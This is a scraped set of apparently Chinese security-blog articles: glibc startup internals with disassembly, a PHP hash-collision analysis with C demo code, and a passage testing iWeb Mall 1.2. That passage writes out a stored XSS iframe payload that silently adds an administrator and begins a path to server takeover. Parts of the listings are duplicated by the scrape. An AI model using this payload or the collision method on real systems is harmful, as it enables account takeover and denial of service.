0xc(%ebp),%edx 0xb7e116fa <  libc_start_main+106>: mov         (%eax),%eax 0xb7e116fc <  libc_start_main+108>: mov         %edx,(%esp) 0xb7e116ff <  libc_start_main+111>: mov         %eax,0x8(%esp) 0xb7e11703 <  libc_start_main+115>: mov         0x10(%ebp),%eax 0xb7e11706 <  libc_start_main+118>: mov         %eax,0x4(%esp) 0xb7e1170a <  libc_start_main+122>: call        *%esi 0xb7e1170c <  libc_start_main+124>: mov         -0xc4(%ebx),%ec 0xb7e11712 <  libc_start_main+130>: mov         0x1c0(%ecx),%edx 0xb7e11718 <  libc_start_main+136>: test        %edx,%edx 0xb7e1171a <  libc_start_main+138>: jne                             0xb7e117e5 <  libc_start_main+341> ---Type <return> to continue, or q <return> to quit--- 0xb7e11720 <  libc_start_main+144>: mov         -0xc4(%ebx),%edx 0xb7e11726 <  libc_start_main+150>: testb        $0x2,(%edx) 0xb7e11729 <  libc_start_main+153>: jne                             0xb7e117c8 <  libc_start_main+312> 0xb7e1172f <  libc_start_main+159>: lea         -0x38(%ebp),%eax 0xb7e11732 <  libc_start_main+162>: mov         %eax,(%esp) 0xb7e11735 <  libc_start_main+165>: call        0xb7e26470 <_setjmp> 0xb7e1173a <  libc_start_main+170>: test        %eax,%eax 0xb7e1173c <  libc_start_main+172>: jne                             0xb7e1178a <  libc_start_main+250> 0xb7e1173e <  libc_start_main+174>: mov         %gs:0x60,%eax 0xb7e11744 <  libc_start_main+180>: mov         %eax,-0x1c(%ebp) 0xb7e11747 <  libc_start_main+183>: mov         %gs:0x5c,%eax 0xb7e1174d <  libc_start_main+189>: mov         %eax,-0x18(%ebp) 0xb7e11750 <  libc_start_main+192>: lea         -0x38(%ebp),%eax 0xb7e11753 <  libc_start_main+195>: mov         %eax,%gs:0x60 0xb7e11759 <  libc_start_main+201>: mov         -0x58(%ebx),%eax 0xb7e1175f <  libc_start_main+207>: mov         0xc(%ebp),%edx 0xb7e11762 <  libc_start_main+210>: mov         (%eax),%eax 0xb7e11764 <  libc_start_main+212>: mov         %edx,(%esp) 0xb7e11767 <  libc_start_main+215>: mov         %eax,0x8(%esp) 0xb7e1176b <  libc_start_main+219>: mov         0x10(%ebp),%eax 0xb7e1176e <  libc_start_main+222>: mov         %eax,0x4(%esp) ---Type <return> to continue, or q <return> to quit--- 0xb7e11772 <  libc_start_main+226>: call        *0x8(%ebp) 0xb7e11775 <  libc_start_main+229>: mov         %eax,(%esp)#p#分頁標題#e# 0xb7e11778 <  libc_start_main+232>: call        0xb7e29b30 <exit> 0xb7e1177d <  libc_start_main+237>: xor         %edx,%edx 0xb7e1177f <  libc_start_main+239>: cmpl         $0x0,(%eax) 0xb7e11782 <  libc_start_main+242>: sete        %dl 0xb7e11785 <  libc_start_main+245>: jmp         0xb7e116ba <  libc_start_main+42> 0xb7e1178a <  libc_start_main+250>: mov         0x34f4(%ebx),%eax 0xb7e11790 <  libc_start_main+256>: ror         $0x9,%eax 0xb7e11793 <  libc_start_main+259>: xor         %gs:0x18,%eax 0xb7e1179a <  libc_start_main+266>: call         *%eax 0xb7e1179c <  libc_start_main+268>: mov         0x34ec(%ebx),%eax 0xb7e117a2 <  libc_start_main+274>: ror         $0x9,%eax 0xb7e117a5 <    libc start main+277>: xor       %gs:0x18,%eax 0xb7e117ac <  libc_start_main+284>: lock decl (%eax) 0xb7e117af <  libc_start_main+287>: sete        %dl 0xb7e117b2 <  libc_start_main+290>: xor         %eax,%eax 0xb7e117b4 <  libc_start_main+292>: test        %dl,%dl 0xb7e117b6 <  libc_start_main+294>: jne                             0xb7e11775 <  libc_start_main+229> 0xb7e117b8 <  libc_start_main+296>: movl        $0x0,(%esp) 0xb7e117bf <  libc_start_main+303>: call        0xb7ecd670 ---Type <return> to continue, or q <return> to quit--- 0xb7e117c4 <  libc_start_main+308>: lea         0x0(%esi,%eiz,1),%esi 0xb7e117c8 <  libc_start_main+312>: mov         0x10(%ebp),%ecx 0xb7e117cb <  libc_start_main+315>: mov         (%ecx),%eax 0xb7e117cd <  libc_start_main+317>: mov         %eax,0x4(%esp) 0xb7e117d1 <  libc_start_main+321>: lea         -0x1f39e(%ebx),%eax 0xb7e117d7 <  libc_start_main+327>: mov         %eax,(%esp) 0xb7e117da <  libc_start_main+330>: call        *0x194(%edx) 0xb7e117e0 <  libc_start_main+336>: jmp                             0xb7e1172f <  libc_start_main+159> 0xb7e117e5 <  libc_start_main+341>: mov         -0x34(%ebx),%eax 0xb7e117eb <  libc_start_main+347>: xor         %esi,%esi 0xb7e117ed <  libc_start_main+349>: mov         0x1bc(%ecx),%edi 0xb7e117f3 <  libc_start_main+355>: mov         %ecx,-0x44(%ebp) 0xb7e117f6 <  libc_start_main+358>: mov         (%eax),%eax 0xb7e117f8 <  libc_start_main+360>: mov         %eax,-0x40(%ebp) 0xb7e117fb <  libc_start_main+363>: nop 0xb7e117fc <  libc_start_main+364>: lea         0x0(%esi,%eiz,1),%esi 0xb7e11800 <  libc_start_main+368>: mov         0xc(%edi),%ecx 0xb7e11803 <  libc_start_main+371>: test        %ecx,%ecx 0xb7e11805 <  libc_start_main+373>: je                              0xb7e1181f <  libc_start_main+399> 0xb7e11807 <  libc_start_main+375>: mov         -0x40(%ebp),%edx 0xb7e1180a <  libc_start_main+378>: lea         0x254(%edx,%esi,8),%eax#p#分頁標題#e# ---Type <return> to continue, or q <return> to quit--- 0xb7e11811 <  libc_start_main+385>: mov         %eax,(%esp) 0xb7e11814 <  libc_start_main+388>: call        *%ecx 0xb7e11816 <  libc_start_main+390>: mov         -0x44(%ebp),%ecx 0xb7e11819 <  libc_start_main+393>: mov         0x1c0(%ecx),%edx 0xb7e1181f <  libc_start_main+399>: add         $0x1,%esi 0xb7e11822 <  libc_start_main+402>: mov         0x20(%edi),%edi 0xb7e11825 <  libc_start_main+405>: cmp         %edx,%esi 0xb7e11827 <  libc_start_main+407>: jb                              0xb7e11800 <  libc_start_main+368> 0xb7e11829 <  libc_start_main+409>: jmp         0xb7e11720 <  libc_start_main+144> 0xb7e1182e <  libc_start_main+414>: mov         0x10(%ebp),%ecx 0xb7e11831 <  libc_start_main+417>: mov         (%ecx),%eax 0xb7e11833 <  libc_start_main+419>: mov         %eax,0x4(%esp) 0xb7e11837 <  libc_start_main+423>: lea         -0x1f3b8(%ebx),%eax 0xb7e1183d <  libc_start_main+429>: mov         %eax,(%esp) 0xb7e11840 <  libc_start_main+432>: call        *0x194(%edx) 0xb7e11846 <  libc_start_main+438>: jmp         0xb7e116ed <  libc_start_main+93> End of assembler dump. 省略了很多,代碼太多,去研究比較麻煩,但畢竟這是在 LINUX 下,我們可以找下 glibc 的源代碼, libc_start_main 位于 glibc 庫 csu 目錄下 libc_start.c 文件,我們看一下 代碼,如下所示: 019 #include <stdlib.h> 020 #include <stdio.h> 021 #include <unistd.h> 022 #include <ldsodefs.h> 023 #include <bp-start.h> 024 #include <bp-sym.h> 025 026 extern void  libc_init_first (int argc, char **argv, char **envp); 027 028 extern int  libc_multiple_libcs; 029 030 #include <tls.h> 031 #ifndef SHARED 032 # include <dl-osinfo.h> 033 extern void  pthread_initialize_minimal (void); 034 # ifndef THREAD_SET_STACK_GUARD 035 /** Only exported for architectures that don't store the stack guard canary 036    in thread local area.    */ 037 uintptr_t  stack_chk_guard attribute_relro; 038 # endif 039 #endif 040 041 #ifdef HAVE_PTR_NTHREADS 042 /** We need atomic operations.       */ 043 # include <atomic.h> 044 #endif 045  046 047 #ifdef LIBC_START_MAIN 048 # ifdef LIBC_START_DISABLE_INLINE 049 #   define STATIC static 050 # else 051 #   define STATIC static inline  attribute   ((always_inline)) 052 # endif 053 #else 054 # define STATIC 055 # define LIBC_START_MAIN BP_SYM (  libc_start_main) 056 #endif 057 058 #ifdef MAIN_AUXVEC_ARG 059 /** main gets passed a pointer to the auxiliary.        */ 060 # define MAIN_AUXVEC_DECL      , void * 061 # define MAIN_AUXVEC_PARAM      , auxvec 062 #else 063 # define MAIN_AUXVEC_DECL 064 # define MAIN_AUXVEC_PARAM 065 #endif 066 067 STATIC int LIBC_START_MAIN (int (*main) (int, char **, char ** 068                    MAIN_AUXVEC_DECL), 069                int argc, 070                char *__unbounded *  unbounded ubp_av, 071 #ifdef LIBC_START_MAIN_AUXVEC_ARG 072                ElfW(auxv_t) *  unbounded auxvec, 073 #endif 074  typeof (main) init,#p#分頁標題#e# 075                void (*fini) (void), 076                void (*rtld_fini) (void), 077                void *__unbounded stack_end) 078       __attribute   ((noreturn)); 079 080 081 /** Note: the fini parameter is ignored here for shared library.          It 082     is registered with __cxa_atexit.       This had the disadvantage that 083     finalizers were called in more than one place.        */ 084 STATIC int 085 LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL), 086          int argc, char *  unbounded *  unbounded ubp_av, 087 #ifdef LIBC_START_MAIN_AUXVEC_ARG 088          ElfW(auxv_t) *  unbounded auxvec, 089 #endif 090         __typeof (main) init, 091          void (*fini) (void), 092          void (*rtld_fini) (void), void *  unbounded stack_end) 093 { 094 #if   BOUNDED_POINTERS      095   char **argv; 096 #else 097 # define argv ubp_av 098 #endif 099 100   /** Result of the 'main' function.      */ 101   int result; 102 103      libc_multiple_libcs = &_dl_starting_up && !_dl_starting_up; 104 105 #ifndef SHARED 106   char *  unbounded *__unbounded ubp_ev = &ubp_av[argc + 1]; 107 108   INIT_ARGV_and_ENVIRON; 109 110   /** Store the lowest stack address.      This is done in ld.so if this is 111       the code for the DSO.      */ 112      libc_stack_end = stack_end; 113 114 # ifdef HAVE_AUX_VECTOR 115    /** First process the auxiliary vector since we need to find the 116       program header to locate an eventually present PT_TLS entry.          */ 117 #   ifndef LIBC_START_MAIN_AUXVEC_ARG 118    ElfW(auxv_t) *  unbounded auxvec; 119   { 120      char *  unbounded *  unbounded evp = ubp_ev; 121      while (*evp++ != NULL) 122       ; 123     auxvec = (ElfW(auxv_t) *__unbounded) evp; 124   } 125 #  endif 126    _dl_aux_init (auxvec); 127 # endif 128 # ifdef DL_SYSDEP_OSCHECK 129    if (!  libc_multiple_libcs) 130     { 131       /** This needs to run to initiliaze _dl_osversion before TLS 132       setup might check it.     */ 133       DL_SYSDEP_OSCHECK (  libc_fatal); 134     } 135 # endif 136 137    /** Initialize the thread library at least a bit since the libgcc 138      functions are using thread functions if these are available and 139      we need to setup errno.     */ 140      pthread_initialize_minimal (); 141 142   /** Set up the stack checker's canary.       */ 143   uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (); 144 # ifdef THREAD_SET_STACK_GUARD 145    THREAD_SET_STACK_GUARD (stack_chk_guard); 146 # else 147      stack_chk_guard = stack_chk_guard; 148 # endif 149 #endif 150 151   /** Register the destructor of the dynamic linker if there is any.          */ 152    if (  builtin_expect (rtld_fini != NULL, 1)) 153 154 cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL); 155 #ifndef SHARED 156   /** Call the initializer of the libc.      This is only needed here if we#p#分頁標題#e# 157       are compiling for the static library in which case we haven't 158      run the constructors in `_dl_start_user'.       */ 159      libc_init_first (argc, argv,  environ); 160 161    /** Register the destructor of the program, if any.         */ 162   if (fini) 163 164   cxa_atexit ((void (*) (void *)) fini, NULL, NULL); 165    /** Some security at this point.      Prevent starting a SUID binary where 166       the standard file descriptors are not opened.        We have to do this 167       only for statically linked applications since otherwise the dynamic 168      loader did the work already.     */ 169   if (  builtin_expect (  libc_enable_secure, 0)) 170libc_check_standard_fds (); 171 #endif 172 173   /** Call the initializer of the program, if any.        */ 174 #ifdef SHARED 175   if (  builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) 176      GLRO(dl_debug_printf) ("\ninitialize program: %s\n\n", argv[0]); 177 #endif 178   if (init) 179      (*init) (argc, argv,  environ MAIN_AUXVEC_PARAM); 180 181 #ifdef SHARED 182   /** Auditing checkpoint: we have a new object.        */ 183    if (  builtin_expect (GLRO(dl_naudit) > 0, 0)) 184     { 185        struct audit_ifaces *afct = GLRO(dl_audit); 186        struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded; 187        for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt) 188     { 189        if (afct->preinit != NULL) 190         afct->preinit (&head->l_audit[cnt].cookie); 191 192       afct = afct->next; 193     } 194     } 195 #endif 196 197 #ifdef SHARED 198   if (  builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) 199      GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]); 200 #endif 201 202 #ifdef HAVE_CLEANUP_JMP_BUF 203   /** Memory for the cancellation buffer.       */ 204    struct pthread_unwind_buf unwind_buf; 205 206   int not_first_call; 207    not_first_call       =      setjmp      ((struct unwind_buf.cancel_jmp_buf); 208   if (  builtin_expect (! not_first_call, 1)) 209     { 210        struct pthread *self = THREAD_SELF; 211 212       /** Store old info.    */   jmp_buf_tag      *) 213        unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf); 214        unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup); 215 216       /** Store the new cleanup handler info.       */ 217        THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf); 218 219        /** Run the program.     */ 220        result = main (argc, argv,  environ MAIN_AUXVEC_PARAM); 221     } 222   else 223     { 224       /** Remove the thread-local data.      */ 225 # ifdef SHARED 226        PTHFCT_CALL (ptr__nptl_deallocate_tsd, ()); 227 # else 228        extern void nptl_deallocate_tsd (void) attribute ((weak)); 229   nptl_deallocate_tsd ();#p#分頁標題#e# 230 # endif 231 232       /** One less thread.    Decrement the counter.    If it is zero we 233       terminate the entire process.      */ 234       result = 0; 235 # ifdef SHARED 236        unsigned int *ptr =  libc_pthread_functions.ptr_nthreads; 237        PTR_DEMANGLE (ptr); 238 # else 239        extern unsigned int  nptl_nthreads  attribute ((weak)); 240        unsigned int *const ptr = &  nptl_nthreads; 241 # endif 242 243        if (! atomic_decrement_and_test (ptr)) 244     /** Not much left to do but to exit the thread, not the process.          */ 245 246     } 247 #else exit_thread (0); 248   /** Nothing fancy, just call the function.       */ 249    result = main (argc, argv,  environ MAIN_AUXVEC_PARAM); 250 #endif 251 252   exit (result); 253 } 多個輸入參數,然后開始對程序進行初始化工作,如初始化線程、安裝 SSP 防護、注冊 析構函數等,包括對程序結束的撤銷系統資源等等。那么現在我們可以解答文件開始的問題, main 是從__libc_satart_main 函數調用的。 我們看到 libc_start_main 傳入了 7 個參數,其中有 init 和 finit,在 IDA 反匯編時 時 libc_csu_init 和__libc_csu_finit.這兩個函數一個是函數開始處理和一個是函數退 出處理,就是在 main 前后,我們可以看一下這兩個函數都作了什么,首先我們看一下   libc_csu_init IDA 反匯編; .text:08048400 .text:08048400 ; Attributes: bp-based frame .text:08048400 .text:08048400                  public  libc_csu_init .text:08048400  libc_csu_init proc near                  ; DATA XREF: _start+10 o .text:08048400 .text:08048400 arg_0            = dword ptr   8 .text:08048400 arg_4             = dword ptr    0Ch .text:08048400 arg_8             = dword ptr    10h .text:08048400 .text:08048400                  push     ebp .text:08048401                  mov      ebp, esp .text:08048403                  push     edi .text:08048404                  push     esi .text:08048405                  push     ebx .text:08048406                  call   i686_get_pc_thunk_bx .text:0804840B                  add      ebx, 1BE9h .text:08048411                  sub      esp, 0Ch .text:08048414                  call     _init_proc .text:08048419                  lea      edi, (__CTOR_LIST   - 8049FF4h)[ebx] .text:0804841F                  lea      eax, (__CTOR_LIST   - 8049FF4h)[ebx] .text:08048425                  sub      edi, eax   .text:08048427     sar   edi, 2 .text:0804842A   test edi, edi .text:0804842C   jz short loc_8048452 .text:0804842E   xor esi, esi .text:08048430       .text:08048430 loc_8048430:       libc_csu_init+50 j     .text:08048430   mov eax, [ebp+arg_8] .text:08048433   mov [esp+8], eax .text:08048437   mov eax, [ebp+arg_4] .text:0804843A   mov [esp+4], eax .text:0804843E   mov eax, [ebp+arg_0]            #p#分頁標題#e#   .text:08048427     sar   edi, 2 .text:0804842A   test edi, edi .text:0804842C   jz short loc_8048452 .text:0804842E   xor esi, esi .text:08048430       .text:08048430 loc_8048430:       libc_csu_init+50 j     .text:08048430   mov eax, [ebp+arg_8] .text:08048433   mov [esp+8], eax .text:08048437   mov eax, [ebp+arg_4] .text:0804843A   mov [esp+4], eax .text:0804843E   mov eax, [ebp+arg_0]           .text:08048441                 mov     [esp], eax#p#分頁標題#e# .text:08048444                            call       ds:( 8049FF4h)[ebx+esi*4] .text:0804844B                 add     esi, 1 .text:0804844E                  cmp      esi, edi .text:08048450                  jb       short loc_8048430 .text:08048452   CTOR_LIST    - .text:08048452 loc_8048452:                                   ; CODE XREF:   libc_csu_init+2C j .text:08048452                  add      esp, 0Ch .text:08048455                  pop      ebx .text:08048456                  pop      esi .text:08048457                  pop      edi .text:08048458                  pop      ebp .text:08048459                  retn .text:08048459 libc_csu_init endp   我們對比看一下 glibc 源代碼中 libc_cus_init,如下所示:   63  void 64     libc_csu_init (int argc, char **argv, char **envp) 65  { 66    /** For dynamically linked executables the preinit array is executed by 67      the dynamic linker (before initializing any shared object.         */ 68 69   #ifndef LIBC_NONSHARED 70     /** For static executables, preinit happens rights before init.          */ 71    { 72      const size_t size = preinit_array_end - preinit_array_start; 73     size_t i; 74      for (i = 0; i < size; i++) 75        (*  preinit_array_start [i]) (argc, argv, envp); 76    } 77  #endif 78 79     _init (); 80 81     const size_t size = __init_array_end - init_array_start; 82    for (size_t i = 0; i < size; i++) 83        (*  init_array_start [i]) (argc, argv, envp); 84  } 我們可以看到它最后調用了 init 這個函數,這個 init 也就是我們 ida 圖中.init_proc, 如下 .init:08048294 ; Attributes: bp-based frame .init:08048294 .init:08048294                  public _init_proc .init:08048294 _init_proc           proc near                    ; CODE XREF:   libc_csu_init+14 p .init:08048294                  push     ebp             ; _init .init:08048295                  mov      ebp, esp .init:08048297                  push     ebx .init:08048298                 sub     esp, 4 .init:0804829B                  call     $+5 .init:080482A0                  pop      ebx#p#分頁標題#e# .init:080482A1                  add      ebx, 1D54h .init:080482A7                     mov      edx, ds:(  gmon_start  _ptr - 8049FF4h)[ebx] .init:080482AD                  test     edx, edx .init:080482AF                  jz       short loc_80482B6 .init:080482B1                  call .init:080482B6  _gmon_start    .init:080482B6 loc_80482B6:                                   ; CODE XREF: _init_proc+1B j .init:080482B6                  call     frame_dummy .init:080482BB                  call do_global_ctors_aux init:080482C0                  pop      eax .init:080482C1                  pop      ebx .init:080482C2                  leave .init:080482C3                  retn .init:080482C3 _init_proc         endp 我們看到它又調用了.     gmon_start、frame_dummy、  do_global_ctors_aux.這三個 函數的作用中,一個是 gpronf 檢查函數會用的到,我們編譯的時候加-pg 即可設置,然后 運行會自動生成 gmou.a 文件,對函數的調用次數時間等進行記錄。Frame 主要是最后調用 call   register_frame_info_base,傳入  elf 中.eh_frame 和.bss,對它們進行注冊。最 后我們了解下 do_global_ctors_aux,它的作用是分發構造函數。這部分大家可以通過閱 讀 glibc 源代碼 cus 下進行深入理解。 我們知道 elf結構中有.init和.finit兩個節,和  libc_cus_init、 libc_cus_finit 基本是對應的,存放主函數前后執行初始化等。 然后 main 函數我們就不講了,具體里面 printf 是如何執行等,這些都屬于基本的,用 戶調用 glibc,系統調用等等。 我 們整理下 我們大 概整理的函 數執行流 程,從 _start 到  libc_start_main,   libc_start_main 調用__libc_csu_init、main、__libc_csu_finit,  libc_csu_init 調 用   gmon_start、frame_dummy、  do_global_ctors_aux.大概就是這樣一個流程。   http://www.ionrce.tw/uploads/allimg/120408/1-12040Q41543415-lp.jpg 文件解析 執行 helloworld 各類編程 admin 未知 2012-04-08 14:21 PHP Hashtable collisions 簡要算法分析 http://www.ionrce.tw/wangzhanbiancheng/20120407818.html 關于Hashtable collisions 數據的基本組織可以分為三種形式: 結構體(或對象) 數組 鏈表 其他任何的數據組織形式都可以看作是這三種數據組織形式的組合變體。就存取數據的 速度而言,數組 關于Hashtable collisions       數據的基本組織可以分為三種形式:   結構體(或對象)    數組    鏈表      其他任何的數據組織形式都可以看作是這三種數據組織形式的組合變體。就存取數據的 速度而言,數組要遠遠優于鏈表,因為數組可以在O(1)的時間復雜內完成指定位置元素的讀 寫操作。所以在理想狀態,如果一個數組足夠長,且存在一個函數可以將每一個key映射到 唯一的一個數組下標,那么我們就可以很完美的解決問題。但往往資源都是有限的,我們沒 有那么大的空間,也不能設計一個無比負責的映射算法保證每一個key對應到一個唯一的數 組下標。     hash table便是為解決這類問題而存在的,hash操作其本質上就是將一個數據映射成另 一個數據,通常情況下原數據的長度比hash后的數據容量大。這種映射的關系我們叫做哈希 函數。一般情況下 哈希函數的輸入可能的總數要遠遠多于哈希值所能表示的總數,所以就 有可能兩個不同的輸入對應同一個哈希值,比如著名的md5碰撞。 解決沖突的方式主要分兩類:   開放定址法(Open addressing):這種方法就是在計算一個key的哈希的時候,發現目標 地址已經有值了,即發生沖突了,這個時候通過相應的函數在此地址后面的地址去找,直到 沒有沖突為止。這個方法常用的有線性探測,二次探測,再哈希。   鏈接法(Separate chaining):鏈接法是通過數組和鏈表組合而成的。當發生沖突的時 候只要將其加到對應的鏈表中即可。     PHP使用鏈接法解決沖突,如果攻擊者能夠人為的制造大量hash沖突,將PHP底層保存 POST數據的Hash表退化成鏈表,造成性能的急劇下降。 PHP的Hash函數       PHP的Hash函數采用的是目前最為普遍的DJBX33A (Daniel J. Bernstein, Times 33 with Addition),代碼可以在這里查 看:http://lxr.php.net/xref/PHP_5_2/Zend/zend_hash.h#zend_inline_hash_func -----------------code------------------------- static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength)     255 { 256   register ulong hash = 5381;  257      258   /* variant with the hash unrolled eight times */     259   for (; nKeyLength >= 8; nKeyLength -= 8) {     260     hash = ((hash << 5) + hash) + *arKey++;     261     hash = ((hash << 5) + hash) + *arKey++;     262     hash = ((hash << 5) + hash) + *arKey++;     263     hash = ((hash << 5) + hash) + *arKey++;     264     hash = ((hash << 5) + hash) + *arKey++;     265     hash = ((hash << 5) + hash) + *arKey++;     266     hash = ((hash << 5) + hash) + *arKey++;     267     hash = ((hash << 5) + hash) + *arKey++;     268   }     269   switch (nKeyLength) {     270     case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     271     case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     272     case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     273     case 4: hash  = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     274     case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     275     case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */     276     case 1: hash = ((hash << 5) + hash) + *arKey++; break;     277     case 0: break;     278 EMPTY_SWITCH_DEFAULT_CASE()     279   }     280   return hash;     281 } ---------------------- 核心算法是 hash = ((hash << 5) + hash) + *arKey++;#p#分頁標題#e# hash << 5是一個簡單的移位操作,可以換算成hash *32,該算法可以理解為 hash= hash* 33 + *arKey++ 同時如果提交的key超過7位,需要逐位進行運算。 構造沖突的key       為了方便計算,我們預期構造的兩個key均設置為8位。從zend_inline_hash_func函數 來分析,進行unrolled操作的時候,如果兩個key的前面6位相同,是不影響結果的,只需要 考慮碰撞后面兩位字母。我們預期構造的兩個key如下: Key1: xa[1]a[2] Key2: xb[1]b[2] 其中x是一個隨機的6位的字符串。 根據算法hash= hash* 33 + *arKey++,如果需要計算出來的hash相同,我們需要滿足如下 的條件: (5381*33+ Ascii(a[1]))*33+ Ascii(a[2])=(5381*33+ Ascii(b[1])*33+ Ascii(b[2]) 展開運算,得到如下結果 Ascii(a[1])*33+ Ascii(a[2])= Ascii(b[1])*33+ Ascii(b[2]) 剩下的工作就很簡單了,查下Ascii表可以找出來很多組合,一組簡單的結果如下: a[1]=2 b[1]=1 a[2]=2 b[2]=S 通過以下的demo代碼可以進行驗證 -----------------code------------------------- # include <stdio.h>  # include <stdlib.h>  # include <string.h>  unsigned long  zend_inline_hash_func(char *arKey, int nKeyLength)  {     unsigned long hash = 5381;     for (; nKeyLength >= 8; nKeyLength -= 8) {     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     hash = ((hash << 5) + hash) + *arKey++;     }     switch (nKeyLength) {       case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */        case 1: hash = ((hash << 5) + hash) + *arKey++; break;        case 0: break;         }       return hash;      } int main() {     unsigned long hasha ;     unsigned long hashb ;   char *a = "abcdef22";   char *b = "abcdef1S";   printf ( "PHP Hashtable collisions Demo\r\nAuthor: Flyh4t\r\n\r\n " );     hasha  =  zend_inline_hash_func(a,   strlen (a) + 1 );     printf ("[+]String: %s\r\n PHP5 HASHA: %ld\r\n " ,  a , hasha);   hashb  =  zend_inline_hash_func(b,   strlen (b) + 1 );     printf ("[+]String: %s\r\n PHP5 HASHB: %ld\r\n " ,  b , hashb);   return   0 ; }  ----------------------------------------------------- 結算結果如下: PHP Hashtable collisions Demo Author: Flyh4t  [+]String: abcdef22  PHP5 HASHA: 1004317790  [+]String: abcdef1S  PHP5 HASHB: 1004317790 達到了預期的效果。 PHP Hashtable collisions hash 網站編程 admin 未知 2012-04-07 21:19 iWeb Mall多用戶商城系統安全測試 http://www.ionrce.tw/wangzhananquan/20120404817.html 隨著淘寶網的日益強大,很多商家都看到了網絡經營帶來的巨大商機,都有意借助網絡 來開設自己的店鋪。與此同時,各個軟件公司也開始推出自己的網絡商城系統,讓更多的人 可以自 隨著淘寶網的日益強大,很多商家都看到了網絡經營帶來的巨大商機,都有意借助網絡 來開設自己的店鋪。與此同時,各個軟件公司也開始推出自己的網絡商城系統,讓更多的人 可以自己租用服務器來架設屬于自己的“淘寶網”。iWeb Mall 多用戶商城系統正是這樣一款國內知名的網站系統。 從 iWeb Mall 多用戶商城系統自帶的說明書來看,iWeb Mall 屬于開源的 LAMP 電子商 務系統,它提供了一套輕量級的支持庫,這使 iWeb Mall 可以輕松部署在虛擬主機上或者單臺服務器上,同時,它可以輕松滿足用戶量級百萬至千萬級的大型電子商務網站的性能要求。 可以說 iWeb Mall 是一個比較專業的網絡商城系統,如此專業的系統,不知道在安全方面是 不是也足夠強大,于是,我們對其進行了一次安全測試,結果卻令人大跌眼鏡,iWeb Mall 非但沒有保護好自身的安全,還會令整個服務器都陷入到危險的境界當中,如果你不信,那 么就請仔細閱讀下面的內容。 本次測試的 iWeb Mall 多用戶商城系統版本為其最新版本 1.2,下載于 iWeb Mall 的 官方網站。解壓并按照正確步驟將 iWeb Mall 多用戶商城系統發布到服務器上(這里在本機 上測試),其運行界面如圖 1 所示。 從界面上來看,iWeb Mall 多用戶商城系統顯得比較清爽,模塊布局也相對合理。系 統支持用戶注冊,所以我們這里注冊了一個名為“test”的用戶,使用該用戶登錄系統,在 用戶中心里點擊“申請開店”,這個過程分為四步完成,我們這里重點關注其中的第二步, 如圖 2 所示。   細心的讀者可以發現,我們在圖 2“詳細地址”一欄中輸入了一段腳本代碼:<iframe  src=a.php?act=admin_add&admin_name=aaa&admin_email=1@1.com&admin_password=123456&group=2/>。從這 段腳本代碼中,我們似乎判斷到這段代碼是用來添加一個名為“aaa”的系統管理員。可是, 我們現在登錄的用戶“test”只是一個普通的系統用戶,怎么可能越權向系統添加管理員呢? 請耐心接著看,點擊圖2中的“創建店鋪”按鈕后,我們申請開店的信息就提交給了系統, 系統需要管理員審核后,才能開通我們的店鋪,如圖3所示。 現在,退出“test”用戶,我們將模擬系統管理員登錄系統后臺來審核用戶申請開店 的信息。后臺登錄地址為: http://127.0.0.1/iwebmall/sysadmin/index.php。進入后臺后, 在“商鋪管理”中的“未審核商鋪”中,我們看到了剛才“test”用戶申請開放的店鋪,如 圖 4 所示。 一般情況下,管理員會查看當前申請開放店鋪的信息,于是,他會點擊“操作”一欄 下的“查看”鏈接,這個時候,神奇的事情發生了,如圖5所示。 圖 5的下方,在顯示“詳細地址”一欄的右側出現了一個套嵌框,里面顯示“添加成 功”。管理員可能不會想到這個莫名其妙的“添加成功”,已經意味著自己已經不是唯一的系 統管理員了,如圖6所示。 通過查看后臺中的管理員列表選項,我們發現當前系統中多出了一個名為“aaa”的 系統管理員,其實,這個管理員就是我們之前在圖2中添加的那段腳本代碼運行后的結果。 由于,iWeb  Mall 多用戶商城系統后臺代碼在處理用戶提交的店鋪信息時,對用戶提交的內 容過濾不嚴,造成了嚴重的XSS漏洞,借此漏洞,我們可以讓管理員在審核用戶提交的開店 信息時,不知不覺地運行任意腳本代碼,包括像前面的添加系統管理員的腳本代碼。 現在,我們已經有了系統管理員的權限,你可以更改整個網站的信息,查看每一個商#p#分頁標題#e# 家的數據,獲取到許多敏感信息。當然,也許你對這些都不在乎,你想獲得更大的權限,例 如能夠進入到服務器里看看。你很幸運,iWeb  Mall多用戶商城系統的后臺存在著一個非常 嚴重的安全漏洞,使得我們可以借此機會控制到服務器本身。 點擊 iWeb Mall 多用戶商城系統后臺中的“擴展管理”,其中有一個“模板管理”選 項,如圖 7所示。 隨意點擊其中一個模板,我們就可以對該模板代碼進行修改,這個時候,請右擊網頁, 查看當前網頁屬性,如圖8 所示。  